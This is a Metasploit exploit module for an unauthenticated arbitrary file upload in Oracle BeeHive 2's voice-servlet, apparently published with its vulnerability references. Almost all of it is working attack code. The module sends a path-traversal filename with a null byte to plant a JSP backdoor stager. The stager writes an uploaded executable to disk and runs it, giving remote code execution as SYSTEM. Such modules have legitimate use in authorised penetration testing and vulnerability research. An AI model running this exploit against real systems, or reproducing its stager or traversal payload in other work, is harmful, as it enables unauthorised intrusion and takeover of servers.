Oracle BeeHive 2 - 'voice-servlet prepareAudioToPlay()' Arbitrary File Upload (Metasploit)

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Oracle BeeHive 2 voice-servlet prepareAudioToPlay() Arbitrary File Upload",
      'Description'    => %q{
        This module exploits a vulnerability found in Oracle BeeHive. The prepareAudioToPlay method
        found in voice-servlet can be abused to write a malicious file onto the target machine, and
        gain remote arbitrary code execution under the context of SYSTEM. Authentication is not
        required to exploit this vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>', # Source Incite. Vulnerability discovery, PoC
          'sinn3r'                                  # MSF module
        ],
      'References'     =>
        [
          [ 'ZDI', '15-550'],
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html' ]
        ],
      'DefaultOptions'  =>
        {
          'RPORT'    => 7777
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Oracle Beehive 2', {}]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Nov 10 2015",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Oracle Beehive's base directory", '/'])
      ], self.class)
  end


  def check
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa/'))

    if res.nil?
      vprint_error("Connection timed out.")
      return Exploit::CheckCode::Unknown
    elsif res && (res.code == 403 || res.code == 200)
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end


  def exploit
    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::NotVulnerable, 'Target does not have voice-servlet')
    end

    # Init some names
    # We will upload to:
    # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\prompt-qa\
    exe_name = "#{Rex::Text.rand_text_alpha(5)}.exe"
    stager_name = "#{Rex::Text.rand_text_alpha(5)}.jsp"
    print_status("Stager name is: #{stager_name}")
    print_status("Executable name is: #{exe_name}")
    register_files_for_cleanup("../BEEAPP/applications/voice-servlet/voice-servlet/prompt-qa/#{stager_name}")

    # Ok fire!
    print_status("Uploading stager...")
    res = upload_stager(stager_name, exe_name)

    # Hmm if we fail to upload the stager, no point to continue.
    unless res
      fail_with(Failure::Unknown, 'Connection timed out.')
    end

    print_status("Uploading payload...")
    upload_payload(stager_name)
  end

  # Our stager is basically a backdoor that allows us to upload an executable with a POST request.
  def get_jsp_stager(exe_name)
    jsp = %Q|<%@ page import="java.io.*" %>
<%
  ByteArrayOutputStream buf = new ByteArrayOutputStream();
  BufferedReader reader = request.getReader();
  int tmp;
  while ((tmp = reader.read()) != -1) { buf.write(tmp); }
  FileOutputStream fostream = new FileOutputStream("#{exe_name}");
  buf.writeTo(fostream);
  fostream.close();
  Runtime.getRuntime().exec("#{exe_name}");
%>|

    # Since we're sending it as a GET request, we want to keep it smaller so
    # we gsub stuff we don't want.
    jsp.gsub!("\n", '')
    jsp.gsub!('  ', ' ')
    Rex::Text.uri_encode(jsp)
  end


  def upload_stager(stager_name, exe_name)
    # wavfile = Has to be longer than 4 bytes (otherwise you hit a java bug)

    jsp_stager = get_jsp_stager(exe_name)
    uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'playAudioFile.jsp')
    send_request_cgi({
      'method'        => 'POST',
      'uri'           => uri,
      'encode_params' => false, # Don't encode %00 for us
      'vars_post'    => {
        'sess'       => "..\\#{stager_name}%00",
        'recxml'     => jsp_stager,
        'audiopath'  => Rex::Text.rand_text_alpha(1),
        'wavfile'    => "#{Rex::Text.rand_text_alpha(5)}.wav",
        'evaluation' => Rex::Text.rand_text_alpha(1)
      }
    })
  end

  def upload_payload(stager_name)
    uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', stager_name)
    send_request_cgi({
      'method' => 'POST',
      'uri'    => uri,
      'data'   => generate_payload_exe(code: payload.encoded)
    })
  end

  def print_status(msg)
    super("#{rhost}:#{rport} - #{msg}")
  end

end